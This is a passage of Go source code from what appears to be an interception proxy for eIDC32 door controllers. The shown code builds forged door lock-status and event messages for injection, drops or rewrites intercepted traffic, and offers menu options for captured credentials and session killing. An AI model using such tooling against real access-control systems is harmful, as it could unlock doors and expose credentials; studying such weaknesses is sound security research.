resp.Header.Add(contentTypeHeaderName, ApplicationJSON) 258 | resp.Body = ioutil.NopCloser(bytes.NewReader(jsonBodyRaw)) 259 | } 260 | 261 | for k, vs := range responseData.Headers { 262 | resp.Header.Del(k) 263 | for _, v := range vs { 264 | resp.Header.Add(k, v) 265 | } 266 | } 267 | 268 | return resp, nil 269 | } 270 | 271 | // EIDCHTTPResponseData is the data that will be used to construct 272 | // a HTTP response to an existing IntelliM HTTP request. 273 | type EIDCHTTPResponseData struct { 274 | // StatusCode is the HTTP status code to include in the response. 275 | StatusCode int 276 | 277 | // Headers are optional HTTP headers to apply to the response's 278 | // headers. If this field contains a header already present in 279 | // the new response's headers, the response's header value is 280 | // replaced with the value from this field. 281 | Headers http.Header 282 | 283 | // WrapperBody, if non-nil, is the EIDCSimpleResponse to 284 | // use in the HTTP message body. If both WrapperBody and Body are 285 | // non-nil, then the EIDCSimpleResponse will be upgraded 286 | // into a new EIDCBodyResponse that includes Body. 287 | WrapperBody *EIDCSimpleResponse 288 | 289 | // Body is the optional body to append to the HTTP message. 290 | // This can be a data structure with JSON tagged fields, 291 | // or a []byte. 292 | // 293 | // See WrapperBody for additional information. 294 | Body interface{} 295 | } 296 | 297 | // ReplaceHTTPHeaderValue replaces the value of the specified header in the 298 | // provided raw HTTP message with an arbitrary value. The header should be 299 | // of the format ": ". For example: 300 | // contentLength := []byte("Content-Length: ") 301 | // 302 | // This helper method is useful for experimenting with unexpected HTTP header 303 | // values that are not permitted by the types and logic employed by Go's 304 | // http library. 305 | func ReplaceHTTPHeaderValue(headerBytes []byte, newValue []byte, rawHTTPMessage []byte) ([]byte, error) { 306 | headerLen := len(headerBytes) 307 | 308 | headerStartIndex := bytes.Index(rawHTTPMessage, headerBytes) 309 | if headerStartIndex < 0 { 310 | return nil, fmt.Errorf("failed to find header in provided message") 311 | } 312 | 313 | eolInfex := bytes.IndexAny(rawHTTPMessage[headerStartIndex+headerLen:], "\r\n") 314 | if eolInfex < 0 { 315 | return nil, fmt.Errorf("failed to find end of line after header value") 316 | } 317 | 318 | eolInfex = headerStartIndex + headerLen + eolInfex 319 | 320 | return bytes.Replace(rawHTTPMessage, 321 | append(headerBytes, rawHTTPMessage[headerStartIndex+headerLen:eolInfex]...), 322 | append(headerBytes, newValue...), 323 | 1), nil 324 | } 325 | 326 | func NewEventAckMsg(username string, password string, id int) (*Message, error) { 327 | // todo use intellimUrl() 328 | values := url.Values{} 329 | values.Set(user, username) 330 | values.Set(pass, password) 331 | values.Set(serverRequestSequenceParam, "0") 332 | 333 | eventAckUrl := url.URL{ 334 | Scheme: methodHttp, 335 | Host: host, 336 | Path: eventAckRequestURI, 337 | RawQuery: values.Encode(), 338 | } 339 | 340 | ear := EventAckRequest{ 341 | EventIds: []int{id}, 342 | } 343 | 344 | body, err := json.Marshal(ear) 345 | if err != nil { 346 | return nil, err 347 | } 348 | 349 | req, err := http.NewRequest(http.MethodPost, eventAckUrl.String(), bytes.NewReader(body)) 350 | if err != nil { 351 | return nil, err 352 | } 353 | 354 | req.Header.Set(ua, eidcListner) 355 | 356 | msg := &Message{ 357 | direction: Southbound, 358 | Request: req, 359 | Body: body, 360 | lock: &sync.Mutex{}, 361 | } 362 | 363 | return msg, nil 364 | } 365 | 366 | func NewLockStatusMsg(username string, password string, status lockstatus) (*Message, error) { 367 | imUrl := intellimUrl(doorLockStatusRequestURI, username, password) 368 | dlsr := Door0x2fLockStatusRequest{ 369 | Status: status.String(), 370 | Duration: -1, 371 | } 372 | body, err := json.Marshal(dlsr) 373 | if err != nil { 374 | return nil, err 375 | } 376 | 377 | req, err := http.NewRequest(http.MethodPost, imUrl.String(), bytes.NewReader(body)) 378 | if err != nil { 379 | return nil, err 380 | } 381 | 382 | req.Header.Set(ua, eidcListner) 383 | 384 | msg := &Message{ 385 | direction: Southbound, 386 | Request: req, 387 | Body: body, 388 | lock: &sync.Mutex{}, 389 | } 390 | 391 | return msg, nil 392 | } 393 | 394 | func intellimUrl(path string, username string, password string) url.URL { 395 | v := url.Values{} 396 | v.Set(user, username) 397 | v.Set(pass, password) 398 | v.Set(serverRequestSequenceParam, "0") 399 | 400 | u := url.URL{ 401 | Scheme: methodHttp, 402 | Host: host, 403 | Path: path, 404 | RawQuery: v.Encode(), 405 | } 406 | return u 407 | } 408 | -------------------------------------------------------------------------------- /message_common.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "errors" 7 | "fmt" 8 | "io/ioutil" 9 | "net/http" 10 | "strings" 11 | "sync" 12 | "time" 13 | 14 | "github.com/logrusorgru/aurora" 15 | ) 16 | 17 | const ( 18 | ua = "User-Agent" 19 | ok200 = "200 OK" 20 | contentType = "content-type" 21 | ApplicationJSON = "application/json" 22 | Northbound Direction = true 23 | Southbound Direction = false 24 | ) 25 | 26 | const ( 27 | MsgTypeUnknown MsgType = iota 28 | MsgTypeConnectedRequest // Northbound via POST 29 | MsgTypeConnectedResponse // Southbound 30 | MsgTypeGetoutboundRequest // Southbound via GET 31 | MsgTypeGetoutboundResponse // Northbound 32 | MsgTypeGetPointStatusRequest // Southbound via POST 33 | MsgTypeGetPointStatusResponse // Northbound 34 | MsgTypeSetTimeRequest // Southbound via POST 35 | MsgTypeSetTimeResponse // Northbound 36 | MsgTypePointStatusRequest // Northbound via POST (no response) 37 | MsgTypeEventRequest // Northbound via POST (no response) 38 | MsgTypeDoor0x2fLockStatusRequest // Southbound via POST 39 | MsgTypeDoor0x2fLockStatusResponse // Northbound 40 | MsgTypeEnableEventsRequest // Southbound via GET 41 | MsgTypeEnableEventsResponse // Northbound EIDCSimpleResponse 42 | MsgTypeEventAckRequest // Southbound via POST 43 | MsgTypeEventAckResponse // Northbound EIDCSimpleResponse 44 | MsgTypeHeartbeatRequest // Southbound via GET 45 | MsgTypeHeartbeatResponse // Northbound EIDCSimpleResponse 46 | MsgTypeSetWebUserRequest // Southbound via POST 47 | MsgTypeSetWebUserResponse // Northbound EIDCSimpleResponse 48 | MsgTypeSetOutboundRequest // Southbound via POST 49 | MsgTypeSetOutboundResponse // Northbound EIDCSimpleResponse 50 | MsgTypeResetEventsRequest // Southbound via GET 51 | MsgTypeResetEventsResponse // Northbound 52 | MsgTypeClearPointsRequest // Southbound via GET 53 | MsgTypeClearPointsResponse // Northbound 54 | MsgTypeAddPointsRequest // Southbound via POST 55 | MsgTypeAddPointsResponse // Northbound 56 | MsgTypeResetPointEngineRequest // Southbound via GET 57 | MsgTypeResetPointEngineResponse // Northbound 58 | MsgTypeAddFormatsRequest // Southbound via POST 59 | MsgTypeAddFormatsResponse // Northbound 60 | MsgTypeAddPrivilegesRequest // Southbound via POST 61 | MsgTypeAddPrivilegesResponse // Northbound 62 | MsgTypeAddCardsRequest // Southbound via POST 63 | MsgTypeAddCardsResponse // Northbound 64 | MsgTypeSetConfigKeyRequest // Southbound via POST 65 | MsgTypeSetConfigKeyResponse // Northbound 66 | MsgTypeSetDeviceIDRequest // Southbound via POST 67 | MsgTypeSetDeviceIDResponse // Northbound 68 | MsgTypeClearSchedulesRequest // Southbound via GET 69 | MsgTypeClearSchedulesResponse // Northbound 70 | MsgTypeClearHolidaysRequest // Southbound via GET 71 | MsgTypeClearHolidaysResponse // Northbound 72 | MsgTypeAddSchedulesRequest // Southbound via POST 73 | MsgTypeAddSchedulesResponse // Northbound 74 | MsgTypeClearPrivilegesRequest // Southbound via GET 75 | MsgTypeClearPrivilegesResponse // Northbound 76 | MsgTypeClearCardsRequest // Southbound via GET 77 | MsgTypeClearCardsResponse // Northbound 78 | MsgTypeDownloadRequest // Southbound via POST 79 | MsgTypeDownloadResponse // Northbound 80 | MsgTypeReflashRequest // Southbound via GET 81 | MsgTypeReflashResponse // Northbound 82 | ) 83 | 84 | type MsgType int 85 | type Direction bool 86 | type Message struct { 87 | direction Direction 88 | Request *http.Request 89 | Response *http.Response 90 | Body []byte 91 | Type MsgType 92 | origBytes []byte 93 | Injected bool 94 | Dropped bool 95 | lock *sync.Mutex 96 | } 97 | 98 | // Send sends a message in the passed session. It's really only safe to use with 99 | // messages that don't provoke a response. Messages that *do* provoke a response 100 | // should be sent using the session's Inject() method because it supports 101 | // including manglers which can be used to intercept those responses. 102 | func (o Message) Send(s *Session) { 103 | s.Inject(o, nil) 104 | } 105 | 106 | // ReadMsg parses a byte slice containing an entire HTTP message including 107 | // headers and body. It also takes a direction. ReadMsg returns a *Message 108 | // with appropriate fields populated. Note that the Message structure contains 109 | // both *http.Request and *http.Response elements. Exactly one of these will be 110 | // populated, depending on what's found in the []byte. 111 | func ReadMsg(in []byte, dir Direction) (*Message, error) { 112 | var err error 113 | msg := &Message{ 114 | direction: dir, 115 | origBytes: in, 116 | lock: &sync.Mutex{}, 117 | } 118 | switch { 119 | case isRequest(in): 120 | msg.Request, err = http.ReadRequest(bufio.NewReader(bytes.NewReader(in))) 121 | if err != nil { 122 | return msg, err 123 | } 124 | if msg.Request.ContentLength > 0 { 125 | msg.Body, err = ioutil.ReadAll(msg.Request.Body) 126 | if err != nil { 127 | return msg, err 128 | } 129 | } 130 | case isResponse(in): 131 | msg.Response, err = http.ReadResponse(bufio.NewReader(bytes.NewReader(in)), nil) 132 | if err != nil { 133 | return msg, err 134 | } 135 | if msg.Response.ContentLength > 0 { 136 | msg.Body, err = ioutil.ReadAll(msg.Response.Body) 137 | if err != nil { 138 | return msg, err 139 | } 140 | } 141 | default: 142 | return msg, errors.New("data submitted to ReadMsg neither a request nor response") 143 | } 144 | msg.Type = msg.GetType() 145 | return msg, nil 146 | } 147 | 148 | // Marshal renders a message into bytes suitable for transmission 149 | func (o Message) Marshal() ([]byte, error) { 150 | switch { 151 | case o.Request != nil: 152 | return o.marshalRequest() 153 | case o.Response != nil: 154 | return o.marshalResponse() 155 | default: 156 | return nil, errors.New("cannot Marshal message with neither request or response elements") 157 | } 158 | } 159 | 160 | func (o Message) marshalRequest() ([]byte, error) { 161 | o.lock.Lock() 162 | defer o.lock.Unlock() 163 | // Re-set the original user-agent string. If blank, we set 164 | // it blank. This stops GO from using its own value here. 165 | o.Request.Header.Set(ua, o.Request.Header.Get(ua)) 166 | o.Request.Body = ioutil.NopCloser(bytes.NewReader(o.Body)) 167 | out := bytes.Buffer{} 168 | err := o.Request.Write(&out) 169 | if err != nil { 170 | return nil, err 171 | } 172 | return out.Bytes(), nil 173 | } 174 | 175 | func (o Message) marshalResponse() ([]byte, error) { 176 | o.lock.Lock() 177 | defer o.lock.Unlock() 178 | o.Response.Body = ioutil.NopCloser(bytes.NewReader(o.Body)) 179 | out := bytes.Buffer{} 180 | err := o.Response.Write(&out) 181 | if err != nil { 182 | return nil, err 183 | } 184 | return out.Bytes(), nil 185 | } 186 | 187 | func (o Direction) String() string { 188 | switch o { 189 | case true: 190 | return "Northbound" 191 | default: 192 | return "Southbound" 193 | } 194 | } 195 | 196 | func (o Message) GetType() MsgType { 197 | if o.Type != 0 { 198 | return o.Type 199 | } 200 | switch o.direction { 201 | case Northbound: 202 | return o.getNorthboundType() 203 | case Southbound: 204 | return o.getSouthboundMsgType() 205 | } 206 | // This should never happen 207 | return o.Type 208 | } 209 | 210 | func (o Message) Direction() Direction { 211 | return o.direction 212 | } 213 | 214 | func (o MsgType) String() string { 215 | switch o { 216 | case MsgTypeConnectedRequest: 217 | return "Connected Request" 218 | case MsgTypeConnectedResponse: 219 | return "Connected Response" 220 | case MsgTypeGetoutboundRequest: 221 | return "Getoutbound Request" 222 | case MsgTypeGetoutboundResponse: 223 | return "Getoutbound Response" 224 | case MsgTypeGetPointStatusRequest: 225 | return "GetPointStatus Request" 226 | case MsgTypeGetPointStatusResponse: 227 | return "GetPointStatus Response" 228 | case MsgTypeSetTimeRequest: 229 | return "SetTime Request" 230 | case MsgTypeSetTimeResponse: 231 | return "SetTime Response" 232 | case MsgTypePointStatusRequest: 233 | return "PointStatus Request" 234 | case MsgTypeEventRequest: 235 | return "Event Request" 236 | case MsgTypeDoor0x2fLockStatusRequest: 237 | return "Door/LockStatus Request" 238 | case MsgTypeDoor0x2fLockStatusResponse: 239 | return "Door/LockStatus Response" 240 | case MsgTypeEnableEventsRequest: 241 | return "EnableEvents Request" 242 | case MsgTypeEnableEventsResponse: 243 | return "EnableEvents Response" 244 | case MsgTypeEventAckRequest: 245 | return "EventAck Request" 246 | case MsgTypeEventAckResponse: 247 | return "EventAck Response" 248 | case MsgTypeHeartbeatRequest: 249 | return "Heartbeat Request" 250 | case MsgTypeHeartbeatResponse: 251 | return "Heartbeat Response" 252 | case MsgTypeSetWebUserRequest: 253 | return "SetWebUser Request" 254 | case MsgTypeSetWebUserResponse: 255 | return "SetWebUser Response" 256 | case MsgTypeSetOutboundRequest: 257 | return "SetOutbound Request" 258 | case MsgTypeSetOutboundResponse: 259 | return "SetOutbound Response" 260 | case MsgTypeResetEventsRequest: 261 | return "ResetEvents Request" 262 | case MsgTypeResetEventsResponse: 263 | return "ResetEvents Response" 264 | case MsgTypeClearPointsRequest: 265 | return "ClearPoints Request" 266 | case MsgTypeClearPointsResponse: 267 | return "ClearPoints Response" 268 | case MsgTypeAddPointsRequest: 269 | return "AddPoints Request" 270 | case MsgTypeAddPointsResponse: 271 | return "AddPoints Response" 272 | case MsgTypeResetPointEngineRequest: 273 | return "ResetPointEngine Request" 274 | case MsgTypeResetPointEngineResponse: 275 | return "ResetPointEngine Response" 276 | case MsgTypeAddFormatsRequest: 277 | return "AddFormats Request" 278 | case MsgTypeAddFormatsResponse: 279 | return "AddFormats Response" 280 | case MsgTypeAddPrivilegesRequest: 281 | return "AddPrivileges Request" 282 | case MsgTypeAddPrivilegesResponse: 283 | return "AddPrivileges Response" 284 | case MsgTypeAddCardsRequest: 285 | return "AddCards Request" 286 | case MsgTypeAddCardsResponse: 287 | return "AddCards Response" 288 | case MsgTypeSetConfigKeyRequest: 289 | return "SetConfigKey Request" 290 | case MsgTypeSetConfigKeyResponse: 291 | return "SetConfigKey Response" 292 | case MsgTypeSetDeviceIDRequest: 293 | return "SetDeviceID Request" 294 | case MsgTypeSetDeviceIDResponse: 295 | return "SetDeviceID Response" 296 | case MsgTypeClearSchedulesRequest: 297 | return "ClearSchedules Request" 298 | case MsgTypeClearSchedulesResponse: 299 | return "ClearSchedules Response" 300 | case MsgTypeClearHolidaysRequest: 301 | return "ClearHolidays Request" 302 | case MsgTypeClearHolidaysResponse: 303 | return "ClearHolidays Response" 304 | case MsgTypeAddSchedulesRequest: 305 | return "AddSchedules Request" 306 | case MsgTypeAddSchedulesResponse: 307 | return "AddSchedules Response" 308 | case MsgTypeClearPrivilegesRequest: 309 | return "ClearPrivileges Request" 310 | case MsgTypeClearPrivilegesResponse: 311 | return "ClearPrivileges Response" 312 | case MsgTypeClearCardsRequest: 313 | return "ClearCards Request" 314 | case MsgTypeClearCardsResponse: 315 | return "ClearCards Response" 316 | case MsgTypeDownloadRequest: 317 | return "Download Request" 318 | case MsgTypeDownloadResponse: 319 | return "Download Response" 320 | case MsgTypeReflashRequest: 321 | return "Reflash Request" 322 | case MsgTypeReflashResponse: 323 | return "Reflash Response" 324 | default: 325 | return fmt.Sprintf("Event type %d has no string value", o) 326 | } 327 | 328 | } 329 | 330 | func (o Message) contentType() string { 331 | switch { 332 | case o.Request != nil: 333 | return o.Request.Header.Get(contentType) 334 | case o.Response != nil: 335 | return o.Response.Header.Get(contentType) 336 | } 337 | return "" 338 | } 339 | 340 | func (o Message) OrigBytes() []byte { 341 | return o.origBytes 342 | } 343 | 344 | func (o Message) String() (string, error) { 345 | b, err := o.Marshal() 346 | if err != nil { 347 | return "", err 348 | } 349 | _ = b 350 | 351 | i, err := impersonate(b, o.direction) 352 | if err != nil { 353 | return "", err 354 | } 355 | 356 | return string(i), nil 357 | } 358 | 359 | func (o Message) PrintableLines() ([]string, error){ 360 | now := time.Now().Format("01/02 15:04:05") 361 | 362 | str, err := o.String() 363 | if err != nil { 364 | return nil, err 365 | } 366 | 367 | // make carriage returns and newlines printable 368 | str = strings.ReplaceAll((str), "\r", "\\r") 369 | str = strings.ReplaceAll((str), "\n", "\\n\n") 370 | 371 | lines := strings.Split(str, "\n") 372 | for i, l := range lines { 373 | switch o.direction { 374 | case Northbound: 375 | switch { 376 | case o.Injected: 377 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.Italic(aurora.Red(l))) 378 | case o.Dropped: 379 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.BgRed(l)) 380 | default: 381 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.Red(l)) 382 | } 383 | case Southbound: 384 | switch { 385 | case o.Injected: 386 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.Italic(aurora.Blue(l))) 387 | case o.Dropped: 388 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.BgBlue(l)) 389 | default: 390 | lines[i] = fmt.Sprintf("%s\t%s\n", aurora.White(now), aurora.Blue(l)) 391 | } 392 | } 393 | } 394 | return lines, nil 395 | } -------------------------------------------------------------------------------- /display/tvDisplay.go: -------------------------------------------------------------------------------- 1 | package display 2 | 3 | import ( 4 | "fmt" 5 | "github.com/chrismarget/eidc32proxy" 6 | "github.com/chrismarget/eidc32proxy/aggregator" 7 | "github.com/gdamore/tcell" 8 | "github.com/rivo/tview" 9 | "strconv" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | type nextType bool 15 | 16 | const ( 17 | durWidth = 18 18 | hBWidth = durWidth 19 | noCxnTitle1 = "Waiting for first eIDC32 session..." 20 | titleXofYString = "Connection %d/%d" 21 | eidcShortInfoString = "S/N %s @ %s -> %s" 22 | upString = "[green]Up %s[white]" 23 | downString = "[red]Down %s (Up %s)[white]" 24 | next nextType = true 25 | previous nextType = false 26 | ) 27 | 28 | var ( 29 | bH = []byte{226, 153, 161} // unicode 2661 (black heart) 30 | wH = []byte{226, 153, 165} // unicode 2665 (white heart) 31 | ) 32 | 33 | const ( 34 | liDetails string = "Connection" 35 | liCredentials string = "Credentials" 36 | liInject string = "Inject" 37 | liKill string = "Kill Session" 38 | liAbout string = "About" 39 | liQuit string = "Quit" 40 | ) 41 | 42 | // ┌──────────────────────────────────────titleFlex───────────────────────────────────────┐ 43 | // │heartBeat(TextView) titleXofY(TextView) duration(TextView)│ <- titleLine1 44 | // │ eidcShortInfo(TextView) │ <- titleLine2 45 | // └──────────────────────────────────────────────────────────────────────────────────────┘ 46 | // (invisible box) ┌────────────────────────────────────────────────────────────────────┐ 47 | // (d) Connection │ │ 48 | // (c) Credentials │ │ 49 | // (i) Inject │ │ 50 | // (k) Kill Session │ │ 51 | // (q) Quit │ │ 52 | // │ │ 53 | // │ this whole pane is RightFlex │ 54 | // │ │ 55 | // ^ │ │ 56 | // │ │ │ 57 | // invisible box │ │ 58 | // and list are │ │ 59 | // both part of │ │ 60 | // LeftFlex └────────────────────────────────────────────────────────────────────┘ 61 | 62 | type heartBeat struct { 63 | tv *tview.TextView 64 | } 65 | 66 | // beat causes the heartbeat indicator to change state 67 | func (o *heartBeat) beat(app *tview.Application, i uint32) { 68 | go func() { 69 | updateText(app, o.tv, fmt.Sprintf(" %s %d", wH, i)) 70 | time.Sleep(300 * time.Millisecond) 71 | updateText(app, o.tv, fmt.Sprintf(" %s %d", bH, i)) 72 | }() 73 | } 74 | 75 | type titleXofY struct { 76 | tv *tview.TextView 77 | } 78 | 79 | // render updates the titleXofY object with a new descriptive string 80 | func (o *titleXofY) render(app *tview.Application, x int, y int) { 81 | if y < 1 { // still waiting for first connection 82 | updateText(app, o.tv, noCxnTitle1) 83 | } else { // normal "Connection X/Y" message 84 | updateText(app, o.tv, fmt.Sprintf(titleXofYString, x+1, y)) 85 | } 86 | } 87 | 88 | type duration struct { 89 | tv *tview.TextView 90 | } 91 | 92 | // update ticks the duration clock display 93 | func (o duration) update(app *tview.Application, session *eidc32proxy.Session) { 94 | var result string 95 | if session.EndTime.IsZero() { 96 | upTime := time.Since(session.StartTime).Truncate(time.Second) 97 | result = fmt.Sprintf(upString, upTime.String()) 98 | } else { 99 | upTime := session.EndTime.Sub(session.StartTime).Truncate(time.Second) 100 | downTime := time.Since(session.EndTime).Truncate(time.Second) 101 | result = fmt.Sprintf(downString, downTime.String(), upTime.String()) 102 | } 103 | updateText(app, o.tv, result) 104 | } 105 | 106 | func (o duration) runForSession(a *tview.Application, s *eidc32proxy.Session) func() { 107 | stop := make(chan struct{}) 108 | ticker := time.NewTicker(time.Second) 109 | go func() { 110 | for { 111 | select { 112 | case <-stop: 113 | ticker.Stop() 114 | updateText(a, o.tv, "") 115 | case <-ticker.C: 116 | //os.Stdout.Write([]byte{7}) 117 | o.update(a, s) 118 | } 119 | } 120 | }() 121 | return func() { 122 | stop <- struct{}{} 123 | } 124 | } 125 | 126 | type eidcShortInfo struct { 127 | tv *tview.TextView 128 | } 129 | 130 | // render displays the eidc serial number and brief connection info 131 | func (o eidcShortInfo) render(app *tview.Application, sess *eidc32proxy.Session) { 132 | snString := sess.LoginInfo.ConnectedReq.SerialNumber 133 | snInt, err := strconv.ParseInt(snString, 0, 64) 134 | if err != nil { 135 | snString = "" 136 | } else { 137 | snString = strconv.Itoa(int(snInt)) 138 | } 139 | eIDCIP := sess.LoginInfo.ConnectedReq.IPAddress 140 | obervedIP := strings.Split(sess.Mitm.ClientSide.Client, ":")[0] 141 | var printableIPstring string 142 | if eIDCIP == obervedIP { 143 | printableIPstring = eIDCIP 144 | } else { 145 | printableIPstring = fmt.Sprintf("%s (%s)", eIDCIP, obervedIP) 146 | } 147 | destination := sess.LoginInfo.Host 148 | result := fmt.Sprintf(eidcShortInfoString, snString, printableIPstring, destination) 149 | updateText(app, o.tv, result) 150 | } 151 | 152 | type rightFlex struct { 153 | flex *tview.Flex 154 | } 155 | 156 | // setContents replaces the contents of the flex. Use it to populate with 157 | // text, forms, grids, etc... as needed. 158 | func (o rightFlex) setContents(item tview.Primitive, focus bool) { 159 | o.flex.Clear() 160 | o.flex.AddItem(item, 0, 100, focus) 161 | } 162 | 163 | // TVDisplay is an implementation of Display using the rivo/tview library 164 | type TVDisplay struct { 165 | aggregator aggregator.Aggregator 166 | currentConnection int 167 | app *tview.Application 168 | heartBeat heartBeat 169 | titleXofY titleXofY 170 | duration duration 171 | eidcShortInfo eidcShortInfo 172 | list *tview.List 173 | rightFlex rightFlex 174 | err chan error 175 | newSess chan int 176 | quitNewSess func() 177 | clearDuration func() 178 | } 179 | 180 | func (o *TVDisplay) createTitleLine1() *tview.Flex { 181 | o.heartBeat = heartBeat{ 182 | tv: tview.NewTextView().SetTextAlign(tview.AlignLeft), 183 | } 184 | o.titleXofY = titleXofY{ 185 | tv: tview.NewTextView().SetTextAlign(tview.AlignCenter), 186 | } 187 | o.duration = duration{ 188 | tv: tview.NewTextView().SetTextAlign(tview.AlignRight). 189 | SetDynamicColors(true), 190 | } 191 | return tview.NewFlex().SetDirection(tview.FlexColumn). 192 | AddItem(o.heartBeat.tv, hBWidth, 0, false). 193 | AddItem(o.titleXofY.tv, 0, 100, false). 194 | AddItem(o.duration.tv, durWidth, 0, false) 195 | } 196 | 197 | func (o *TVDisplay) createTitleLine2() *tview.TextView { 198 | o.eidcShortInfo = eidcShortInfo{ 199 | tv: tview.NewTextView().SetTextAlign(tview.AlignCenter), 200 | } 201 | return o.eidcShortInfo.tv 202 | 203 | } 204 | 205 | func (o *TVDisplay) createTitleFlex() *tview.Flex { 206 | flex := tview.NewFlex().SetDirection(tview.FlexRow). 207 | AddItem(o.createTitleLine1(), 0, 100, true). 208 | AddItem(o.createTitleLine2(), 0, 100, false) 209 | flex.Box.SetBorder(true) 210 | return flex 211 | } 212 | 213 | func (o *TVDisplay) createListBox() *tview.List { 214 | o.list = tview.NewList().ShowSecondaryText(false) 215 | o.list.AddItem(liDetails, "", 'd', nil) 216 | o.list.AddItem(liCredentials, "", 'c', nil) 217 | o.list.AddItem(liInject, "", 'i', nil) 218 | o.list.AddItem(liKill, "", 'k', nil) 219 | o.list.AddItem(liAbout, "", 'a', nil) 220 | o.list.AddItem(liQuit, "", 'q', func() { o.Stop() }) 221 | return o.list 222 | } 223 | 224 | func (o *TVDisplay) createLeftFlex() *tview.Flex { 225 | return tview.NewFlex().SetDirection(tview.FlexRow). 226 | AddItem(tview.NewBox().SetBorder(false), 1, 0, false). 227 | AddItem(o.createListBox(), 0, 100, true) 228 | } 229 | 230 | func (o *TVDisplay) createRightFlex() rightFlex { 231 | o.rightFlex.flex = tview.NewFlex() 232 | //tview.NewTextView().SetTextAlign(tview.AlignLeft) 233 | o.rightFlex.flex.Box.SetBorder(true) 234 | return o.rightFlex 235 | } 236 | 237 | func (o *TVDisplay) createBottomFlex() *tview.Flex { 238 | return tview.NewFlex().SetDirection(tview.FlexColumn). 239 | AddItem(o.createLeftFlex(), 18, 0, true). 240 | AddItem(o.createRightFlex().flex, 0, 100, false) 241 | } 242 | 243 | func (o *TVDisplay) createMainFlex() *tview.Flex { 244 | return tview.NewFlex().SetDirection(tview.FlexRow). 245 | AddItem(o.createTitleFlex(), 4, 0, false). 246 | AddItem(o.createBottomFlex(), 0, 100, true) 247 | } 248 | 249 | func createApplication(mainFlex *tview.Flex) *tview.Application { 250 | return tview.NewApplication().SetRoot(mainFlex, true) 251 | } 252 | 253 | // NewTVDisplay returns an implementation of Display using rivo/tview 254 | func NewTVDisplay(sessChan chan *eidc32proxy.Session) *TVDisplay { 255 | var d TVDisplay 256 | d.aggregator = aggregator.NewAggregator(sessChan) 257 | d.app = createApplication(d.createMainFlex()) 258 | d.err = make(chan error) 259 | d.newSess, d.quitNewSess = d.aggregator.SubscribeToSessionAlerts() 260 | d.clearDuration = func() {} 261 | return &d 262 | } 263 | 264 | // ErrChan returns the TVDisplay's error channel 265 | func (o TVDisplay) ErrChan() chan error { 266 | return o.err 267 | } 268 | 269 | // Stop stops the TVDisplay tview Application 270 | func (o TVDisplay) Stop() { 271 | o.app.Stop() 272 | } 273 | 274 | func (o *TVDisplay) x(event *tcell.EventKey) *tcell.EventKey { 275 | switch event.Key() { 276 | case tcell.KeyRight: 277 | o.currentConnection = getNext(o.currentConnection, o.aggregator.Size(), next) 278 | case tcell.KeyLeft: 279 | o.currentConnection = getNext(o.currentConnection, o.aggregator.Size(), previous) 280 | case tcell.KeyUp: 281 | o.aggregator.AddGarbage() 282 | } 283 | return event 284 | } 285 | 286 | func (o TVDisplay) waitForFirstConn() { 287 | o.titleXofY.render(o.app, o.currentConnection, o.aggregator.Size()) 288 | for o.aggregator.Size() < 1 { 289 | time.Sleep(250 * time.Millisecond) 290 | } 291 | } 292 | 293 | func (o TVDisplay) updateTitle(i int) { 294 | o.titleXofY.render(o.app, i, o.aggregator.Size()) // line 1 of title bar 295 | o.eidcShortInfo.render(o.app, o.aggregator.GetSession(i)) // line 2 of title bar 296 | 297 | } 298 | 299 | func (o TVDisplay) runClock() { 300 | for { 301 | time.Sleep(250 * time.Millisecond) 302 | //updateText(o.app, o.rightFlex.flex, currentTimeString(false)) 303 | o.titleXofY.render(o.app, o.currentConnection, o.aggregator.Size()) 304 | } 305 | } 306 | 307 | func updateClock(app *tview.Application, clock *tview.TextView, twelvehour bool) { 308 | for { 309 | time.Sleep(100 * time.Millisecond) 310 | updateText(app, clock, currentTimeString(twelvehour)) 311 | } 312 | } 313 | 314 | func messWithLargePane(app *tview.Application, rf rightFlex) { 315 | clock1 := tview.NewTextView().SetTextAlign(tview.AlignLeft) 316 | go updateClock(app, clock1, false) 317 | clock2 := tview.NewTextView().SetTextAlign(tview.AlignRight) 318 | go updateClock(app, clock2, true) 319 | 320 | go func() { 321 | for { 322 | rf.setContents(clock1, true) 323 | time.Sleep(3 * time.Second) 324 | rf.setContents(clock2, true) 325 | time.Sleep(3 * time.Second) 326 | } 327 | }() 328 | } 329 | 330 | // Run starts the TVDisplay's rivo/tview appliation 331 | func (o TVDisplay) Run() { 332 | go func() { 333 | o.err <- o.app.Run() 334 | }() 335 | 336 | // Render "waiting" title text (0 of 0 connections) 337 | o.titleXofY.render(o.app, 0, 0) 338 | 339 | // Get, start, and display the first session. 340 | o.currentConnection = <-o.newSess 341 | o.aggregator.GetSession(o.currentConnection).BeginRelaying() 342 | o.switchTo(o.currentConnection) 343 | 344 | go messWithLargePane(o.app, o.rightFlex) 345 | 346 | hbSub := eidc32proxy.SubInfo{ 347 | MsgTypes: []eidc32proxy.MsgType{eidc32proxy.MsgTypeHeartbeatResponse}, 348 | } 349 | 350 | // loop forever 351 | for { 352 | hb, stopHb := o.aggregator.GetSession(o.currentConnection).Pager.Subscribe(hbSub) 353 | select { 354 | case new := <-o.newSess: // New session has connected 355 | o.titleXofY.render(o.app, o.currentConnection, o.aggregator.Size()) // fix title 356 | o.aggregator.GetSession(new).BeginRelaying() // start new session 357 | case <-hb: // heartbeat message 358 | o.heartBeat.beat(o.app, o.aggregator.GetSession(o.currentConnection).HeartBeats()) 359 | } 360 | go stopHb() 361 | } 362 | 363 | //messWithLargePane(o.app, o.rightFlex) 364 | //o.app.SetFocus(o.list) 365 | } 366 | 367 | func updateText(app *tview.Application, tv *tview.TextView, s string) { 368 | app.QueueUpdateDraw(func() { 369 | tv.SetText(s) 370 | }) 371 | } 372 | 373 | func currentTimeString(twelveHour bool) string { 374 | t := time.Now() 375 | if twelveHour == true { 376 | return fmt.Sprintf(t.Format(" Current time is \n 3:04:05 ")) 377 | } 378 | return fmt.Sprintf(t.Format(" Current time is \n 15:04:05 ")) 379 | } 380 | 381 | // next facilitates incrementing "x of n" displays. it deals strictly with 382 | // zero-indexed things. Input and output value match slice indexing. Need to 383 | // add one for pretty user output (to get "1 of 2" 